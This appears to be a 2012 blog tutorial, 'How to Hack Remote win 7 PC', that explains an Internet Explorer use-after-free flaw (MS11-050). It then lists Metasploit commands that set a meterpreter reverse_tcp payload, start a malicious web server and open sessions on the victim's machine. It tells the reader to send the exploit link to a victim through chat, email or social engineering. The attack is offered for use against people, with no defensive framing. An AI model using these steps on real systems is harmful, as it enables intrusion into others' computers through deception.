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� � How to Hack Remote win 7 PC with MS11-050 IE mshtml!CObjectElement Use After Free

Senin, 07 Mei 2012

How to Hack Remote win 7 PC with MS11-050 IE mshtml!CObjectElement Use After Free


This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability occurs when an invalid tag exists and other elements overlap/cover where the object tag should be when rendered (due to their styles/positioning). The mshtml! CObject Element is then freed from memory because it is invalid. However, the mshtml! CDisplay object for the page continues to keep a reference to the freed and attempts to call a function on it, leading to the use-after-free. Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention).

Exploit Targets
Internet Explorer 7 on XP SP3
Internet Explorer 7 on Windows Vista
Internet Explorer 8 on XP SP3
 Internet Explorer 8 on Windows 7

Requirement
Attacker: Backtrack 5
Victim PC: Windows XP

Open backtrack terminal type msfconsole


Now type use exploit/windows/browser/ms11_050_mshtml_cobjectelement

Msf exploit (ms11_050_mshtml_cobjectelement)>set payload windows/meterpreter/reverse_tcp
Msf exploit (ms11_050_mshtml_cobjectelement)>set lhost 192.168.1.2 (IP of Local Host)
Msf exploit (ms11_050_mshtml_cobjectelement)>set srvhost 192.168.1.2 (This must be an address on the local machine)
Msf exploit (ms11_050_mshtml_cobjectelement) set uripath win7tricks (The Url to use for this exploit)
Msf exploit (ms11_050_mshtml_cobjectelement)>exploit



Now an URL you should give to your victim http://192.168.1.2:8080/win7tricks


Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 



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